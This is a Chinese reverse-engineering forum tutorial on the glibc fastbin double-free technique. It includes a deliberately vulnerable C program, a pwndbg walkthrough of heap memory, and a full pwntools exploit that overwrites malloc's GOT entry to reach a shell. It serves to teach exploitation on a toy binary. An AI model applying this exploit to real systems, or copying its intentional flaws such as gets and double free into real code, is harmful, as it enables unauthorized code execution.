学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

340

积分

3

好友

9

主题
发表于 2019-2-21 10:15:54 | 查看: 4032| 回复: 0

相关题目:

简介


fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法,而fastbin_double_free就是其中的一种,这类漏洞利用的前提是:
存在堆溢出、use-after-free等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
Fastbin Double Free就是其字面所表达的意思,当一个内存被释放之后再次被释放,就是Free()了同一块内存多次,其精髓在于多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果

原理


Fastbin Double Free 能够成功利用主要有两部分的原因:
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证
通俗的讲就是当我们申请的一块chunk被释放后,它将以单链的形式被串在fastbin中,然后会有一个fast指针指向最后一个链上来了的chunk,当下一个chunk被释放后,将被链在上一个chunk的前面,fast指针向前移动


实例


heap.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *id)
{
        system(id);        
}

int main()
{
        setvbuf(stdout,0,_IONBF,0);
        int cmd,idx,sz;
        char *ptr[10];
        memset(ptr,0,sizeof(ptr));
        puts("1.malloc+gets\n2.free\n3.puts\n");
        while(1)
        {
                printf("> ");
                scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
                idx %= 10;
                if(cmd==1)
                {
                        scanf("%d%*c",&sz);
                        ptr[idx] = malloc(sz);
                        gets(ptr[idx]);
                }
                else if(cmd==2)
                {
                        free(ptr[idx]);
                }
                else if(cmd==3)
                {
                        puts(ptr[idx]);
                }
                else
                {
                        exit(0);
                }
        }
        return 0;
}


编译:
gcc -no-pie heap.c -o heap -g -w


分析:
这个程序主要有3个功能,malloc+gets申请一块chunk并且向chunk中写入一段内容,free释放一块chunk,puts打印出一个chunk,但是在free的时候没有将指针清零,很明显这个程序中有double_free漏洞
先运行程序看看:
root@sir-PC:/home/sir/desktop# ./heap
1.malloc+gets
2.free
3.puts

> 1 0
25 aaaabbbb
> 3 0
aaaabbbb
> 2 0
> 


double_free的基本思路:
为了使操作更简单每次我们的操作的chunk的大小都应该相同
首先先申请两块chunk:ptr[0]和ptr[1],随便写入8字节的内容,然后分别free(ptr[0]),free(ptr[1]),free(ptr[0]),此时在ptr[0]和ptr[1]之间形成了一个双向链表,然后我们再申请一个chunk:ptr[2],写入我们需要修改的地址,然后在申请两个chunk:ptr[3]和ptr[4],随便写入8字节的内容,最后再次申请一个chunk:ptr[5],此时写入我们需要修改成的内容,就可以实现任意地址内容修改了

演示


现在我们来演示一下:
root@sir-PC:/home/sir/desktop# gdb heap
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from heap...done.
pwndbg> b 20
Breakpoint 1 at 0x40083b: file heap.c, line 20.
pwndbg> r
Starting program: /home/sir/desktop/heap 
1.malloc+gets
2.free
3.puts


Breakpoint 1, main () at heap.c:20
20                        printf("> ");
pwndbg> n
1 0
pwndbg> c
Continuing.
25 aaaabbbb   #申请第一次ptr[0]
pwndbg> p ptr[0]
$1 = 0x602670 "aaaabbbb"
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x6262626261616161        0x0000000000000000
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000020971
0x6026a0:        0x0000000000000000        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000000000
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000
pwndbg> c
Continuing.
> 1 1
25 qqqqssss   #申请第二次ptr[1]
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x6262626261616161        0x0000000000000000
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x7373737371717171        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000
pwndbg> c
Continuing.
> 2 0  #释放ptr[0]
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x0000000000000000        0x0000000000000000
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x7373737371717171        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000
pwndbg> c
Continuing.
> 2 1  #释放ptr[1]
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x0000000000000000        0x0000000000000000
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x0000000000602670        0x0000000000000000 //bp指向0x602670 ptr[0]
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000
pwndbg> c
Continuing.
> 2 0        #再次释放ptr[0]
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x00000000006026a0        0x0000000000000000 //bp指向0x6026a0 ptr[1]
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x0000000000602670        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000

此时我们double_free的工作就做完了,现在我们来修改一个任意地址的内容,为了方便输入我们就修改0x602660这个地址的内容,我们看到了0x602660原来的值为0,我们将其修改为AAAAAAAA,即0x4141414141414141
pwndbg> c
Continuing.
> 1 2
25 `&`                #申请第三次ptr[2],写入0x602660
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x0000000000602660        0x0000000000000000        //ptr[2],即原来的ptr[0]
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x0000000000602670        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000
pwndbg> c
Continuing.
> 1 3
25 aaaabbbb        #申请第四次ptr[3]
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x0000000000602660        0x0000000000000000
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x6262626261616161        0x0000000000000000        //ptr[3],即原来的ptr[1]
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000
pwndbg> c
Continuing.
> 1 4
25 qqqqssss        #申请第五次ptr[4]
pwndbg> x/20gx 0x602670-16
0x602660:        0x0000000000000000        0x0000000000000031
0x602670:        0x7373737371717171        0x0000000000000000 //ptr[4],将ptr[2]覆盖了
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x6262626261616161        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000

如果我们再次申请一块chunk,我们就在0x602660的位置写入我们想要的东西了,因为此时fast指针已经指向了0x602660的位置了
pwndbg> c
Continuing.
> 1 5
25 AAAAAAAA        第六次申请ptr[5]
pwndbg> x/20gx 0x602670-16
0x602660:        0x4141414141414141        0x0000000000000000 //已经被修改了
0x602670:        0x7373737371717171        0x0000000000000000
0x602680:        0x0000000000000000        0x0000000000000000
0x602690:        0x0000000000000000        0x0000000000000031
0x6026a0:        0x6262626261616161        0x0000000000000000
0x6026b0:        0x0000000000000000        0x0000000000000000
0x6026c0:        0x0000000000000000        0x0000000000020941
0x6026d0:        0x0000000000000000        0x0000000000000000
0x6026e0:        0x0000000000000000        0x0000000000000000
0x6026f0:        0x0000000000000000        0x0000000000000000


很明显0x602660位置的内容已经被我们修改了,如果我们把0x602660换成一个特殊的地址,比如malloc函数got表的地址,然后将其换成sh()函数的地址,那么当我们再次调用malloc函数的时候就会去调用sh()函数了


EXP


sir@sir-PC:~/desktop$ objdump -R heap

heap:     文件格式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601078 R_X86_64_COPY     stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  system@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7
0000000000601060 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

pwndbg> p sh
$2 = {void (char *)} 0x4007d7 <sh>

所以我们只需要将0x601048的内容修改为0x4007d7就可以了,但是因为system()函数需要一个参数'sh',所以我们从0x601040位置开始写入,将0x601040写入’sh‘,然后在最后再次调用malloc函数时,将sz参数换为’sh‘的地址就可以了,但是要注意的是输入的sz形式为%d,所以需要将0x601040换为十进制,即6295616
from pwn import *
context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
def cmd(x):
    p.recvuntil('> ')
    p.send(x+'\n')

def molloc(i,s):
    cmd('1 %d\n25 %s'%(i,s))

def free(i):
    cmd('2 %d'%i)
    
def put(i):
    cmd('3 %d'%i)

molloc(0,'a'*8)
molloc(1,'b'*8)
free(0)
free(1)
free(0)

molloc(2,p64(0x0601040))
molloc(3,'/bin/sh')
molloc(4,'/bin/sh')
x = p64(0x6873) + p64(0x4007d7) #0x6873 = 'sh'
molloc(5,x)

p.recvuntil('> ')
p.sendline('1 6')
p.sendline('6295616 aaaaaaaa')  # 0x601040 = 6295616
p.interactive()
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
已有 1 人评分荣耀 理由
xuenixiang + 2 代码解释的很详细,排版也非常好.

总评分: 荣耀 + 2   查看全部评分

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-25 15:37 , Processed in 0.116240 second(s), 40 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表